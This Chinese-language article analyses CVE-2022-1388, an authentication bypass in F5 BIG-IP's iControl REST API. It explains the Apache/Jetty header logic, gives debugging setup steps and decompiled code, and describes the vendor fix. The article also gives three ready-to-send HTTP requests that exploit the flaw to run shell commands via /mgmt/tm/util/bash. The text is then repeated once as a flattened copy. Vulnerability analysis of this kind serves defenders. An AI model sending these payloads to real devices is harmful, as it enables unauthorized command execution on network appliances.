F5 BIGIP CVE-2022-1388 认证绕过漏洞分析
字数 1440 2025-08-27 12:33:37

F5 BIG-IP CVE-2022-1388 认证绕过漏洞深入分析与利用指南

漏洞概述

CVE-2022-1388是F5 BIG-IP iControl REST API中的一个认证绕过漏洞,允许未经授权的攻击者通过构造特殊HTTP请求绕过认证机制,进而执行任意系统命令。该漏洞影响多个版本的F5 BIG-IP设备,危害等级为高危。

漏洞影响范围

  • 受影响版本:16.1.0-16.1.2、15.1.0-15.1.5、14.1.0-14.1.4、13.1.0-13.1.4
  • 已修复版本:16.1.2.2及更高版本

漏洞原理分析

认证流程概述

F5 BIG-IP iControl REST API的认证流程分为两层:

  1. Apache层认证:前端由Apache处理,负责初步认证检查
  2. Jetty层认证:后端由Jetty处理,负责最终认证决策

认证绕过机制

Apache层绕过

在受影响版本中,Apache层的认证检查存在以下逻辑缺陷:

  • 仅检查请求头中是否包含X-F5-Auth-Token字段
  • 只要该字段存在(即使值为空或任意值),即可绕过Apache层认证

Jetty层绕过

Jetty层的认证逻辑更为复杂,存在多种绕过方式:

  1. Host头检查绕过

    • Jetty会检查X-Forwarded-Host头(由Apache从Host头自动生成)
    • X-Forwarded-Host值为127.0.0.1localhost时,配合有效的Authorization头可绕过认证
    • X-Forwarded-Host值为127.4.2.1且用户名为f5hubblelcdadmin时也可绕过
  2. Hop-by-hop头处理绕过

    • 利用HTTP协议的hop-by-hop特性,通过Connection头指定X-F5-Auth-Token为逐跳头
    • 导致Apache处理后移除X-F5-Auth-Token头,使Jetty认为该头不存在
    • 结合X-Forwarded-Host为空的情况,Jetty会默认使用localhost进行认证

漏洞利用方法

方法一:标准利用(Host为127.0.0.1)

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs":"-c id"}

方法二:特殊用户利用(Host为127.4.2.1)

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.4.2.1
Authorization: Basic ZjVodWJibGVsY2RhZG1pbjo=
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs":"-c id"}

方法三:Hop-by-hop头利用

POST /mgmt/tm/util/bash HTTP/1.1
Host: 172.16.113.244
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: X-F5-Auth-Token, X-Forwarded-Host
Content-type: application/json
Content-Length: 41

{"command":"run", "utilCmdArgs":"-c id"}

调试分析

调试环境搭建

  1. 编辑/var/service/restjavad/run文件,添加调试参数:

    JVM_OPTIONS += " -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8777"
    
  2. 开放防火墙端口:

    tmsh
    security firewall
    modify management-ip-rules rules add {
      allow-access-8777 {
        action accept
        destination { ports add { 8777 } }
        ip-protocol tcp
        place-before first
      }
    }
    
  3. 使用IDEA等工具连接8777端口进行远程调试

关键代码分析

RestServerServlet.classservice方法中可观察请求处理流程:

private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) {
    String authHeader = request.getBasicAuthorization();
    if (authHeader == null) {
        return false;
    } else {
        final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader);
        String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host");
        if (xForwardedHostHeaderValue == null) {
            request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
            if (runnable != null) {
                runnable.run();
            }
            return true;
        } else {
            String[] valueList = xForwardedHostHeaderValue.split(", ");
            int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0;
            if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) {
                if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) {
                    // 特殊用户绕过逻辑
                    request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                    if (runnable != null) {
                        runnable.run();
                    }
                    return true;
                } else {
                    // 其他情况处理
                    // ...
                }
            } else {
                // localhost/127.0.0.1绕过逻辑
                request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null);
                if (runnable != null) {
                    runnable.run();
                }
                return true;
            }
        }
    }
}

修复方案

官方修复措施

  1. mod_auth_pam模块修复

    • 不再仅检查X-F5-Auth-Token是否存在
    • 新增对X-F5-Auth-Token值的有效性验证
  2. Apache配置修复

    <If "%{HTTP:connection} =~ /close/i ">
      RequestHeader set connection close
    </If>
    <ElseIf "%{HTTP:connection} =~ /keep-alive/i ">
      RequestHeader set connection keep-alive
    </ElseIf>
    <Else>
      RequestHeader set connection close
    </Else>
    
    • 强制规范化Connection头处理
    • 防止通过hop-by-hop特性移除关键头字段

临时缓解措施

  1. 限制对iControl REST API端口的访问
  2. 更新到F5 BIG-IP 16.1.2.2或更高版本

总结

CVE-2022-1388漏洞利用了两层认证机制的设计缺陷和HTTP协议特性,通过精心构造的请求头组合实现认证绕过。该漏洞展示了在复杂系统中,安全边界各组件之间的交互可能引入意想不到的漏洞。修复方案不仅需要修补代码逻辑,还需要考虑协议层面的安全配置。

F5 BIG-IP CVE-2022-1388 认证绕过漏洞深入分析与利用指南 漏洞概述 CVE-2022-1388是F5 BIG-IP iControl REST API中的一个认证绕过漏洞,允许未经授权的攻击者通过构造特殊HTTP请求绕过认证机制,进而执行任意系统命令。该漏洞影响多个版本的F5 BIG-IP设备,危害等级为高危。 漏洞影响范围 受影响版本:16.1.0-16.1.2、15.1.0-15.1.5、14.1.0-14.1.4、13.1.0-13.1.4 已修复版本:16.1.2.2及更高版本 漏洞原理分析 认证流程概述 F5 BIG-IP iControl REST API的认证流程分为两层: Apache层认证 :前端由Apache处理,负责初步认证检查 Jetty层认证 :后端由Jetty处理,负责最终认证决策 认证绕过机制 Apache层绕过 在受影响版本中,Apache层的认证检查存在以下逻辑缺陷: 仅检查请求头中是否包含 X-F5-Auth-Token 字段 只要该字段存在(即使值为空或任意值),即可绕过Apache层认证 Jetty层绕过 Jetty层的认证逻辑更为复杂,存在多种绕过方式: Host头检查绕过 : Jetty会检查 X-Forwarded-Host 头(由Apache从Host头自动生成) 当 X-Forwarded-Host 值为 127.0.0.1 或 localhost 时,配合有效的 Authorization 头可绕过认证 当 X-Forwarded-Host 值为 127.4.2.1 且用户名为 f5hubblelcdadmin 时也可绕过 Hop-by-hop头处理绕过 : 利用HTTP协议的hop-by-hop特性,通过 Connection 头指定 X-F5-Auth-Token 为逐跳头 导致Apache处理后移除 X-F5-Auth-Token 头,使Jetty认为该头不存在 结合 X-Forwarded-Host 为空的情况,Jetty会默认使用localhost进行认证 漏洞利用方法 方法一:标准利用(Host为127.0.0.1) 方法二:特殊用户利用(Host为127.4.2.1) 方法三:Hop-by-hop头利用 调试分析 调试环境搭建 编辑 /var/service/restjavad/run 文件,添加调试参数: 开放防火墙端口: 使用IDEA等工具连接8777端口进行远程调试 关键代码分析 在 RestServerServlet.class 的 service 方法中可观察请求处理流程: 修复方案 官方修复措施 mod_ auth_ pam模块修复 : 不再仅检查 X-F5-Auth-Token 是否存在 新增对 X-F5-Auth-Token 值的有效性验证 Apache配置修复 : 强制规范化 Connection 头处理 防止通过hop-by-hop特性移除关键头字段 临时缓解措施 限制对iControl REST API端口的访问 更新到F5 BIG-IP 16.1.2.2或更高版本 总结 CVE-2022-1388漏洞利用了两层认证机制的设计缺陷和HTTP协议特性,通过精心构造的请求头组合实现认证绕过。该漏洞展示了在复杂系统中,安全边界各组件之间的交互可能引入意想不到的漏洞。修复方案不仅需要修补代码逻辑,还需要考虑协议层面的安全配置。